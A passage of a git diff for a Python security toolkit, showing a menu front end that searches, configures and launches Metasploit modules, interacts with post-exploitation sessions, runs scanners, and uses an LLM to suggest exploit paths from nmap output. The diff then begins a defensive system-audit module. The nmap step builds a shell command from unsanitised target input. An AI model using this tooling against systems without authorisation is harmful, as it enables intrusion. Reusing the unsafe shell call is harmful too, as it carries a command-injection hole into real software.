print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == 'u': + self._select_module(path) + elif choice == 'i': + self._show_msf_info(path) + + except (EOFError, KeyboardInterrupt): + pass + + def _select_module(self, module_path: str): + """Select a module and prepare it for execution.""" + if not self.ensure_connected(): + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Parse module type and name + parts = module_path.split('/', 1) + mtype = parts[0] + mname = parts[1] if len(parts) > 1 else module_path + + self.print_status(f"Loading {module_path}...", "info") + + # Get module info and options from MSF + info = self.msf.get_module_info(module_path) + options = self.msf.get_module_options(module_path) + + if not options: + self.print_status(f"Failed to load module: {self.msf.last_error}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.current_module = mname + self.current_module_type = mtype + self.module_options = {} + + # Set defaults from module + for opt_name, opt_info in options.items(): + if isinstance(opt_info, dict): + default = opt_info.get('default') + if default is not None and default != '': + self.module_options[opt_name] = default + + # Apply global settings + if self.global_settings['RHOSTS'] and 'RHOSTS' in options: + self.module_options['RHOSTS'] = self.global_settings['RHOSTS'] + if self.global_settings['RHOSTS'] and 'RHOST' in options: + self.module_options['RHOST'] = self.global_settings['RHOSTS'] + if self.global_settings['LHOST'] and 'LHOST' in options: + self.module_options['LHOST'] = self.global_settings['LHOST'] + if self.global_settings['LPORT'] and 'LPORT' in options: + self.module_options['LPORT'] = self.global_settings['LPORT'] + + self.print_status(f"Module loaded: {mtype}/{mname}", "success") + + # Show what was auto-filled + auto_filled = [] + if 'RHOSTS' in self.module_options or 'RHOST' in self.module_options: + target = self.module_options.get('RHOSTS') or self.module_options.get('RHOST') + if target: + auto_filled.append(f"Target: {target}") + if 'LHOST' in self.module_options and self.module_options['LHOST']: + auto_filled.append(f"LHOST: {self.module_options['LHOST']}") + + if auto_filled: + print(f"{Colors.DIM} Auto-filled: {', '.join(auto_filled)}{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _show_msf_info(self, module_path: str): + """Get and display module info from MSF.""" + if not self.ensure_connected(): + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Fetching info for {module_path}...", "info") + + info = self.msf.get_module_info(module_path) + if not info: + self.print_status(f"Failed to get info: {self.msf.last_error}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Info (from MSF){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display info fields + fields = ['name', 'fullname', 'description', 'author', 'references', 'rank', 'platform', 'arch'] + for field in fields: + if field in info and info[field]: + value = info[field] + if isinstance(value, list): + if field == 'references': + print(f" {Colors.CYAN}{field}:{Colors.RESET}") + for ref in value[:5]: + if isinstance(ref, (list, tuple)) and len(ref) >= 2: + print(f" - {ref[0]}: {ref[1]}") + else: + print(f" - {ref}") + else: + value = ', '.join(str(v) for v in value[:5]) + print(f" {Colors.CYAN}{field}:{Colors.RESET} {value}") + elif field == 'description': + print(f" {Colors.CYAN}{field}:{Colors.RESET}") + # Word wrap + words = str(value).split() + line = " " + for word in words: + if len(line) + len(word) > 70: + print(line) + line = " " + line += word + " " + if line.strip(): + print(line) + else: + print(f" {Colors.CYAN}{field}:{Colors.RESET} {value}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # SEARCH MODULES + # ========================================================================= + + def search_modules(self): + """Search for MSF modules.""" + if not self.ensure_connected(): + return + + print(f"\n{Colors.BOLD}Search Metasploit Modules{Colors.RESET}") + print(f"{Colors.DIM}Examples: 'smb', 'apache', 'ssh', 'cve:2021', 'eternalblue'{Colors.RESET}\n") + + query = input(f"{Colors.WHITE}Search: {Colors.RESET}").strip() + if not query: + return + + self.print_status(f"Searching for '{query}'...", "info") + + # Search both library and MSF + library_results = library_search_modules(query) + msf_results = self.msf.search_modules(query) + + # Combine results, preferring library entries + combined = {} + for mod in library_results: + combined[mod['path']] = mod + + if msf_results: + for mod in msf_results: + if isinstance(mod, dict): + fullname = mod.get('fullname', '') + if fullname and fullname not in combined: + combined[fullname] = { + 'path': fullname, + 'name': mod.get('name', fullname.split('/')[-1]), + 'description': 'Module from Metasploit', + 'rank': mod.get('rank', '') + } + elif isinstance(mod, str) and mod not in combined: + combined[mod] = { + 'path': mod, + 'name': mod.split('/')[-1], + 'description': 'Module from Metasploit' + } + + results = list(combined.values()) + + if not results: + self.print_status("No modules found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Display with pagination + page_size = 15 + page = 0 + total_pages = (len(results) + page_size - 1) // page_size + + while True: + clear_screen() + display_banner() + + print(f"{Colors.GREEN}{Colors.BOLD} Search Results: '{query}'{Colors.RESET}") + print(f"{Colors.DIM} Page {page + 1} of {total_pages} ({len(results)} found){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + start_idx = page * page_size + end_idx = min(start_idx + page_size, len(results)) + page_results = results[start_idx:end_idx] + + for i, mod in enumerate(page_results, start_idx + 1): + name = mod.get('name', mod['path'].split('/')[-1]) + path = mod['path'] + if len(name) > 30: + name = name[:27] + "..." + print(f" {Colors.RED}[{i:2}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{path}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[N]{Colors.RESET} Next {Colors.DIM}[P]{Colors.RESET} Previous {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'n' and page < total_pages - 1: + page += 1 + elif choice == 'p' and page > 0: + page -= 1 + else: + try: + idx = int(choice) - 1 + if 0 <= idx < len(results): + self._show_module_details(results[idx]) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + # ========================================================================= + # CURRENT MODULE MANAGEMENT + # ========================================================================= + + def show_current_module(self): + """Show and configure current module options.""" + if not self.current_module: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if not self.ensure_connected(): + return + + full_path = f"{self.current_module_type}/{self.current_module}" + options = self.msf.get_module_options(full_path) + + if not options: + self.print_status(f"Failed to get options: {self.msf.last_error}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} {full_path}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Separate required and optional + required = [] + optional = [] + + for name, info in options.items(): + if isinstance(info, dict): + is_required = info.get('required', False) + current_val = self.module_options.get(name, info.get('default', '')) + desc = info.get('desc', '')[:35] + + entry = (name, current_val, desc, is_required) + if is_required: + required.append(entry) + else: + optional.append(entry) + + # Show required first + if required: + print(f" {Colors.RED}Required Options:{Colors.RESET}") + for i, (name, val, desc, _) in enumerate(required, 1): + val_display = str(val) if val else f"{Colors.YELLOW}(not set){Colors.RESET}" + print(f" {Colors.CYAN}[{i}]{Colors.RESET} {name:18} = {val_display}") + + # Get help from term bank + term_info = get_setting_info(name) + if term_info: + print(f" {Colors.DIM}{self.wrap_text(term_info['description'], width=55, indent=' ')}{Colors.RESET}") + else: + print(f" {Colors.DIM}{self.wrap_text(desc, width=55, indent=' ')}{Colors.RESET}") + print() + + # Show optional (just first 8) + if optional: + print(f" {Colors.DIM}Optional (first 8):{Colors.RESET}") + for name, val, desc, _ in optional[:8]: + val_display = str(val)[:20] if val else "" + print(f" {Colors.DIM}{name:18} = {val_display}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[S]{Colors.RESET} Set option") + print(f" {Colors.GREEN}[R]{Colors.RESET} Run module") + print(f" {Colors.CYAN}[A]{Colors.RESET} Show all options") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 's': + self.set_option() + elif choice == 'r': + self.run_module() + break + elif choice == 'a': + self._show_all_options(options) + elif choice.isdigit(): + idx = int(choice) - 1 + if 0 <= idx < len(required): + self._set_specific_option(required[idx][0], options) + + except (EOFError, KeyboardInterrupt): + break + + def _show_all_options(self, options: Dict): + """Show all module options.""" + clear_screen() + display_banner() + + full_path = f"{self.current_module_type}/{self.current_module}" + print(f"{Colors.BOLD}All Options for {full_path}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + for name, info in sorted(options.items()): + if isinstance(info, dict): + is_required = info.get('required', False) + current_val = self.module_options.get(name, info.get('default', '')) + desc = info.get('desc', '') + + req_marker = f"{Colors.RED}*{Colors.RESET}" if is_required else " " + val_display = str(current_val)[:30] if current_val else f"{Colors.DIM}(empty){Colors.RESET}" + + print(f" {req_marker} {Colors.CYAN}{name:20}{Colors.RESET} = {val_display}") + if desc: + print(f" {Colors.DIM}{self.wrap_text(desc, width=55, indent=' ')}{Colors.RESET}") + + print(f"\n{Colors.DIM}* = required{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_specific_option(self, opt_name: str, options: Dict): + """Set a specific option with term bank help.""" + print() + + # Show help from term bank or module + term_info = get_setting_info(opt_name) + if term_info: + print(format_setting_help(opt_name)) + elif opt_name in options: + opt_info = options[opt_name] + desc = opt_info.get('desc', 'No description') + print(f" {Colors.CYAN}{opt_name}:{Colors.RESET} {desc}") + print() + + current = self.module_options.get(opt_name, '') + prompt = f"{opt_name} [{current}]: " if current else f"{opt_name}: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if value or not current: + self.module_options[opt_name] = value + self.print_status(f"{opt_name} => {value}", "success") + else: + self.print_status(f"{opt_name} unchanged", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def set_option(self): + """Set a module option.""" + if not self.current_module: + self.print_status("No module selected.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Set Option{Colors.RESET}") + print(f"{Colors.DIM}Common: RHOSTS, RPORT, LHOST, LPORT, PAYLOAD{Colors.RESET}\n") + + opt_name = input(f"{Colors.WHITE}Option name: {Colors.RESET}").strip().upper() + if not opt_name: + return + + # Show help + term_info = get_setting_info(opt_name) + if term_info: + print() + print(format_setting_help(opt_name)) + print() + + current = self.module_options.get(opt_name, '') + prompt = f"{Colors.WHITE}Value [{current}]: {Colors.RESET}" if current else f"{Colors.WHITE}Value: {Colors.RESET}" + opt_value = input(prompt).strip() + + if opt_value or not current: + self.module_options[opt_name] = opt_value + self.print_status(f"{opt_name} => {opt_value}", "success") + else: + self.print_status(f"{opt_name} unchanged", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run_module(self): + """Execute the current module.""" + if not self.current_module: + self.print_status("No module selected.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if not self.ensure_connected(): + return + + full_path = f"{self.current_module_type}/{self.current_module}" + + print(f"\n{Colors.BOLD}Run Module: {full_path}{Colors.RESET}") + print(f"\n{Colors.CYAN}Options:{Colors.RESET}") + for k, v in self.module_options.items(): + if v: + print(f" {k} = {v}") + + confirm = input(f"\n{Colors.YELLOW}Execute? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + self.print_status("Executing module...", "info") + + # Use job execution for exploits, console execution for auxiliary/scanners + if self.current_module_type in ['exploit', 'post']: + success, job_id, error = self.msf.execute_module_job(full_path, self.module_options) + if success: + self.print_status(f"Module running as Job {job_id}", "success") + else: + self.print_status(f"Execution failed: {error}", "error") + else: + result = self.msf.run_module(full_path, self.module_options, timeout=120) + self.msf.print_result(result, verbose=True) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # SESSIONS AND JOBS + # ========================================================================= + + def show_sessions(self): + """Show active sessions.""" + if not self.ensure_connected(): + return + + sessions = self.msf.list_sessions() + + print(f"\n{Colors.BOLD}Active Sessions{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if not sessions: + self.print_status("No active sessions", "info") + else: + for sid, info in sessions.items(): + if isinstance(info, dict): + stype = info.get('type', 'shell') + target = info.get('target_host', 'unknown') + user = info.get('username', '') + via = info.get('via_exploit', '')[:30] + print(f" {Colors.GREEN}[{sid}]{Colors.RESET} {stype} @ {target}") + if user: + print(f" {Colors.DIM}User: {user}{Colors.RESET}") + if via: + print(f" {Colors.DIM}Via: {via}{Colors.RESET}") + else: + print(f" {Colors.GREEN}[{sid}]{Colors.RESET} {info}") + + print() + sid = input(f"{Colors.WHITE}Interact with session (or Enter to skip): {Colors.RESET}").strip() + if sid and sid in sessions: + self.interact_session(sid) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def interact_session(self, session_id: str): + """Interact with a session.""" + print(f"\n{Colors.GREEN}Interacting with session {session_id}{Colors.RESET}") + print(f"{Colors.DIM}Type 'exit' to return to menu{Colors.RESET}\n") + + while True: + try: + cmd = input(f"{Colors.RED}session({session_id})>{Colors.RESET} ").strip() + + if cmd.lower() == 'exit': + break + + if not cmd: + continue + + self.msf.session_write(session_id, cmd) + time.sleep(1) + success, output = self.msf.session_read(session_id) + if success and output: + print(output) + + except (EOFError, KeyboardInterrupt): + print() + break + except Exception as e: + self.print_status(f"Session error: {e}", "error") + break + + def show_jobs(self): + """Show running jobs.""" + if not self.ensure_connected(): + return + + jobs = self.msf.list_jobs() + + print(f"\n{Colors.BOLD}Running Jobs{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if not jobs: + self.print_status("No running jobs", "info") + else: + for jid, jname in jobs.items(): + print(f" {Colors.YELLOW}[{jid}]{Colors.RESET} {jname}") + + print() + jid = input(f"{Colors.WHITE}Kill job (or Enter to skip): {Colors.RESET}").strip() + if jid and jid in jobs: + if self.msf.stop_job(jid): + self.print_status(f"Job {jid} stopped", "success") + else: + self.print_status(f"Failed to stop job {jid}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # CONSOLE AND QUICK SCAN + # ========================================================================= + + def console_command(self): + """Run console commands directly.""" + if not self.ensure_connected(): + return + + print(f"\n{Colors.BOLD}MSF Console{Colors.RESET}") + print(f"{Colors.DIM}Enter commands directly (type 'exit' to return){Colors.RESET}\n") + + while True: + try: + cmd = input(f"{Colors.RED}msf>{Colors.RESET} ").strip() + + if cmd.lower() == 'exit': + break + + if not cmd: + continue + + success, output = self.msf.run_console_command(cmd) + if output: + print(output) + + except (EOFError, KeyboardInterrupt): + print() + break + + def quick_scan(self): + """Quick scanner with pre-set target.""" + if not self.ensure_connected(): + return + + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Quick Scan{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Show current target + if self.global_settings['RHOSTS']: + print(f" {Colors.GREEN}Target: {self.global_settings['RHOSTS']}{Colors.RESET}") + else: + print(f" {Colors.YELLOW}Target: Not set (will prompt){Colors.RESET}") + print() + + scanners = [ + ("auxiliary/scanner/portscan/tcp", "TCP Port Scanner", "Scan for open TCP ports"), + ("auxiliary/scanner/smb/smb_version", "SMB Version", "Identify Windows/SMB version"), + ("auxiliary/scanner/smb/smb_ms17_010", "MS17-010 Check", "Check for EternalBlue vulnerability"), + ("auxiliary/scanner/ssh/ssh_version", "SSH Version", "Identify SSH server version"), + ("auxiliary/scanner/http/http_version", "HTTP Version", "Identify web server version"), + ("auxiliary/scanner/ftp/ftp_version", "FTP Version", "Identify FTP server version"), + ] + + for i, (mod, name, desc) in enumerate(scanners, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{desc}{Colors.RESET}") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Cancel\n") + + choice = input(f"{Colors.WHITE} Select scanner: {Colors.RESET}").strip() + + try: + idx = int(choice) - 1 + if 0 <= idx < len(scanners): + scanner_mod, scanner_name, _ = scanners[idx] + + # Get target + target = self.global_settings['RHOSTS'] + if not target: + target = input(f"{Colors.WHITE}Target (IP/range): {Colors.RESET}").strip() + + if not target: + return + + options = {'RHOSTS': target, 'THREADS': '10'} + + print(f"\n{Colors.CYAN}Running {scanner_name} against {target}...{Colors.RESET}") + + result = self.msf.run_scanner(scanner_mod, target, options=options, timeout=120) + self.msf.print_result(result, verbose=False) + + except (ValueError, IndexError): + pass + except Exception as e: + self.print_status(f"Scanner failed: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # EXPLOIT SUGGESTER + # ========================================================================= + + def exploit_suggester(self): + """Suggest exploits based on vulnerability scan results.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Exploit Suggester{Colors.RESET}") + print(f"{Colors.DIM} Suggest attack paths based on detected vulnerabilities{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.RED}[1]{Colors.RESET} Load vuln_correlator JSON") + print(f" {Colors.RED}[2]{Colors.RESET} Run fresh scan") + print(f" {Colors.RED}[3]{Colors.RESET} Manual service list") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + services = [] + cves = [] + + if choice == "1": + # Load from vuln correlator JSON + results_dir = Path("results") + json_files = sorted(results_dir.glob("vuln_correlator_*.json")) if results_dir.exists() else [] + if not json_files: + self.print_status("No vuln correlator results found. Run OSINT > Vulnerability Correlator first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}Available vuln reports:{Colors.RESET}") + for i, f in enumerate(json_files, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {f.name}") + + sel = input(f"\n{Colors.WHITE}Select: {Colors.RESET}").strip() + try: + idx = int(sel) - 1 + with open(json_files[idx], 'r') as f: + data = json.load(f) + + for corr in data.get('correlations', []): + svc = corr.get('service', {}) + services.append(svc) + for cve in corr.get('cves', []): + cves.append(cve) + except (ValueError, IndexError, json.JSONDecodeError) as e: + self.print_status(f"Error loading file: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + elif choice == "2": + target = self.global_settings.get('RHOSTS', '') or input(f"{Colors.WHITE}Target: {Colors.RESET}").strip() + if not target: + return + + self.print_status(f"Running nmap -sV on {target}...", "info") + import subprocess + try: + result = subprocess.run(f"nmap -sV -T4 {target}", shell=True, capture_output=True, text=True, timeout=300) + if result.returncode == 0: + port_re = re.compile(r'(\d+)/(tcp|udp)\s+open\s+(\S+)\s*(.*)') + for line in result.stdout.split('\n'): + m = port_re.match(line.strip()) + if m: + parts = m.group(4).strip().split() + services.append({ + 'port': int(m.group(1)), + 'service': parts[0] if parts else m.group(3), + 'version': parts[1] if len(parts) > 1 else '', + 'host': target, + }) + except Exception as e: + self.print_status(f"Scan failed: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + elif choice == "3": + print(f"\n{Colors.DIM}Enter services (format: port service version), empty line to finish:{Colors.RESET}") + while True: + line = input(f"{Colors.WHITE} > {Colors.RESET}").strip() + if not line: + break + parts = line.split() + if len(parts) >= 2: + services.append({ + 'port': int(parts[0]) if parts[0].isdigit() else 0, + 'service': parts[1], + 'version': parts[2] if len(parts) > 2 else '', + }) + else: + return + + if not services: + self.print_status("No services to analyze", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Try LLM-based suggestion first + suggestions = [] + try: + from core.llm import get_llm + llm = get_llm() + if llm.is_loaded: + self.print_status("Using LLM for exploit analysis...", "info") + prompt = self._build_exploit_prompt(services, cves) + + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Exploit Analysis{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + # Stream response + full_response = "" + for token in llm.generate(prompt, stream=True, max_tokens=1024): + print(token, end='', flush=True) + full_response += token + print() + + suggestions = self._parse_exploit_suggestions(full_response) + else: + raise Exception("LLM not loaded") + except Exception: + # Fallback: direct CVE-to-MSF mapping + self.print_status("Using direct CVE-to-MSF mapping (no LLM)...", "info") + suggestions = self._fallback_exploit_suggestions(services, cves) + + # Display suggestions + if suggestions: + print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Suggested Exploits{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}\n") + + for i, s in enumerate(suggestions, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {s.get('module', 'N/A')}") + print(f" Target: {s.get('target', 'N/A')}") + if s.get('cve'): + print(f" CVE: {s['cve']}") + if s.get('reasoning'): + print(f" {Colors.DIM}{s['reasoning']}{Colors.RESET}") + print() + + self._offer_autoload(suggestions) + else: + self.print_status("No matching exploits found in module library", "info") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _build_exploit_prompt(self, services: list, cves: list) -> str: + """Build LLM prompt for exploit suggestion.""" + # Gather available MSF modules + relevant_modules = [] + for svc in services: + svc_name = svc.get('service', '').lower() + results = library_search_modules(svc_name, max_results=5) + for mod in results: + if mod['path'] not in [m['path'] for m in relevant_modules]: + relevant_modules.append(mod) + + # Also search by CVE + for cve in cves[:10]: + cve_id = cve.get('cve_id', '') + if cve_id: + results = library_search_modules(cve_id, max_results=3) + for mod in results: + if mod['path'] not in [m['path'] for m in relevant_modules]: + relevant_modules.append(mod) + + prompt = "You are a penetration testing assistant. Based on the following target information, suggest the top 5 attack paths.\n\n" + prompt += "TARGET SERVICES:\n" + for svc in services: + prompt += f" - Port {svc.get('port', '?')}: {svc.get('service', '?')} {svc.get('version', '')}\n" + + if cves: + prompt += "\nKNOWN VULNERABILITIES:\n" + for cve in cves[:15]: + prompt += f" - {cve.get('cve_id', '?')} ({cve.get('severity', '?')} {cve.get('cvss_score', '?')}): {(cve.get('description', '') or '')[:100]}\n" + + if relevant_modules: + prompt += "\nAVAILABLE METASPLOIT MODULES:\n" + for mod in relevant_modules[:15]: + prompt += f" - {mod['path']}: {mod.get('name', '')}\n" + + prompt += "\nFor each suggestion, provide: module path, target service, CVE (if applicable), and reasoning.\n" + prompt += "Format each as: RANK. MODULE_PATH | TARGET | CVE | REASONING\n" + + return prompt + + def _parse_exploit_suggestions(self, response: str) -> list: + """Parse exploit suggestions from LLM response.""" + suggestions = [] + lines = response.split('\n') + + for line in lines: + line = line.strip() + if not line: + continue + + # Try to parse "N. module | target | cve | reasoning" format + if '|' in line and ('/' in line or 'exploit' in line.lower() or 'auxiliary' in line.lower()): + parts = [p.strip() for p in line.split('|')] + # Remove leading number + first = re.sub(r'^\d+\.\s*', '', parts[0]) + + suggestion = { + 'module': first, + 'target': parts[1] if len(parts) > 1 else '', + 'cve': parts[2] if len(parts) > 2 else '', + 'reasoning': parts[3] if len(parts) > 3 else '', + } + suggestions.append(suggestion) + + return suggestions[:5] + + def _fallback_exploit_suggestions(self, services: list, cves: list) -> list: + """Fallback exploit suggestion using direct CVE-to-MSF mapping.""" + suggestions = [] + seen_modules = set() + + # Search by CVE + for cve in cves[:20]: + cve_id = cve.get('cve_id', '') + if not cve_id: + continue + results = library_search_modules(cve_id, max_results=3) + for mod in results: + if mod['path'] not in seen_modules: + seen_modules.add(mod['path']) + suggestions.append({ + 'module': mod['path'], + 'target': mod.get('name', ''), + 'cve': cve_id, + 'reasoning': f"CVSS {cve.get('cvss_score', '?')} - Direct CVE match", + }) + + # Search by service name + for svc in services: + svc_name = svc.get('service', '').lower() + if not svc_name: + continue + results = library_search_modules(svc_name, max_results=3) + for mod in results: + if mod['path'] not in seen_modules and mod['path'].startswith('exploit'): + seen_modules.add(mod['path']) + suggestions.append({ + 'module': mod['path'], + 'target': f"{svc_name} on port {svc.get('port', '?')}", + 'cve': ', '.join(mod.get('cve', []) or []), + 'reasoning': f"Service match: {svc_name} {svc.get('version', '')}", + }) + + return suggestions[:5] + + def _offer_autoload(self, suggestions: list): + """Offer to auto-load a suggested module.""" + choice = input(f"\n{Colors.WHITE}Load a module? (enter number or 0 to skip): {Colors.RESET}").strip() + if not choice or choice == '0': + return + + try: + idx = int(choice) - 1 + if 0 <= idx < len(suggestions): + module_path = suggestions[idx].get('module', '') + if module_path and '/' in module_path: + self.print_status(f"Loading {module_path}...", "info") + self._select_module(module_path) + except (ValueError, IndexError): + pass + + # ========================================================================= + # MAIN LOOP + # ========================================================================= + + def run(self): + """Main loop.""" + while True: + self.show_main_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.show_target_settings() + elif choice == "2": + self.show_module_browser() + elif choice == "3": + self.search_modules() + elif choice == "4": + self.show_current_module() + elif choice == "5": + self.run_module() + elif choice == "6": + self.show_sessions() + elif choice == "7": + self.show_jobs() + elif choice == "8": + self.console_command() + elif choice == "9": + self.quick_scan() + elif choice.lower() == "e": + self.exploit_suggester() + + except (EOFError, KeyboardInterrupt): + print() + break + + +def run(): + """Module entry point.""" + menu = MSFMenu() + menu.run() + + +if __name__ == "__main__": + run() diff --git a/modules/mysystem.py b/modules/mysystem.py new file mode 100644 index 0000000..979c1a3 --- /dev/null +++ b/modules/mysystem.py @@ -0,0 +1,1258 @@ +""" +AUTARCH My System Module +Comprehensive system security audit with CVE detection and remediation + +Performs full system audit, saves results, and offers LLM-assisted or manual fixes. +""" + +import os +import sys +import json +import subprocess +import socket +from pathlib import Path +from datetime import datetime +from typing import Optional, List, Dict, Any + +# Module metadata +DESCRIPTION = "System audit with CVE detection & auto-fix" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.config import get_config +from core.cve import get_cve_db + + +class SecurityIssue: + """Represents a security issue found during audit.""" + + SEVERITY_COLORS = { + 'CRITICAL': Colors.RED, + 'HIGH': Colors.RED, + 'MEDIUM': Colors.YELLOW, + 'LOW': Colors.CYAN, + 'INFO': Colors.DIM, + } + + def __init__( + self, + name: str, + description: str, + severity: str, + category: str, + fix_command: str = None, + fix_instructions: str = None, + cve_ids: List[str] = None + ): + self.name = name + self.description = description + self.severity = severity.upper() + self.category = category + self.fix_command = fix_command + self.fix_instructions = fix_instructions + self.cve_ids = cve_ids or [] + self.status = "open" # open, fixed, ignored + + def to_dict(self) -> Dict: + return { + 'name': self.name, + 'description': self.description, + 'severity': self.severity, + 'category': self.category, + 'fix_command': self.fix_command, + 'fix_instructions': self.fix_instructions, + 'cve_ids': self.cve_ids, + 'status': self.status, + } + + @classmethod + def from_dict(cls, data: Dict) -> 'SecurityIssue': + issue = cls( + name=data.get('name', ''), + description=data.get('description', ''), + severity=data.get('severity', 'MEDIUM'), + category=data.get('category', 'general'), + fix_command=data.get('fix_command'), + fix_instructions=data.get('fix_instructions'), + cve_ids=data.get('cve_ids', []), + ) + issue.status = data.get('status', 'open') + return issue + + +class MySystem: + """Comprehensive system security auditor.""" + + @staticmethod + def _system_inf_path(): + from core.paths import get_app_dir + return get_app_dir() / "system.inf" + + def __init__(self): + self.issues: List[SecurityIssue] = [] + self.system_info: Dict = {} + self.audit_results: Dict = {} + self.security_score: int = 100 + self.cve_db = get_cve_db() + self.llm = None + + def print_status(self, message: str, status: str = "info"): + colors = { + "info": Colors.CYAN, + "success": Colors.GREEN, + "warning": Colors.YELLOW, + "error": Colors.RED + } + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 10) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def collect_system_info(self): + """Collect comprehensive system information.""" + self.print_status("Collecting system information...") + + info = self.cve_db.get_system_info() + + # Additional system info + success, output = self.run_cmd("hostname") + info['hostname'] = output if success else 'unknown' + + success, output = self.run_cmd("uptime -p 2>/dev/null || uptime") + info['uptime'] = output if success else 'unknown' + + success, output = self.run_cmd("whoami") + info['current_user'] = output if success else 'unknown' + + success, output = self.run_cmd("cat /proc/meminfo 2>/dev/null | grep MemTotal | awk '{print $2}'") + if success and output: + info['memory_kb'] = int(output) + info['memory_gb'] = round(int(output) / 1024 / 1024, 1) + + success, output = self.run_cmd("nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null") + info['cpu_cores'] = int(output) if success and output.isdigit() else 0 + + self.system_info = info + + def add_issue( + self, + name: str, + description: str, + severity: str, + category: str, + fix_command: str = None, + fix_instructions: str = None, + score_penalty: int = 5 + ): + """Add a security issue to the list.""" + issue = SecurityIssue( + name=name, + description=description, + severity=severity, + category=category, + fix_command=fix_command, + fix_instructions=fix_instructions, + ) + self.issues.append(issue) + + # Adjust score based on severity + penalties = {'CRITICAL': 20, 'HIGH': 15, 'MEDIUM': 10, 'LOW': 5, 'INFO': 0} + self.security_score -= penalties.get(severity.upper(), score_penalty) + self.security_score = max(0, self.security_score) + + # ========================================================================= + # 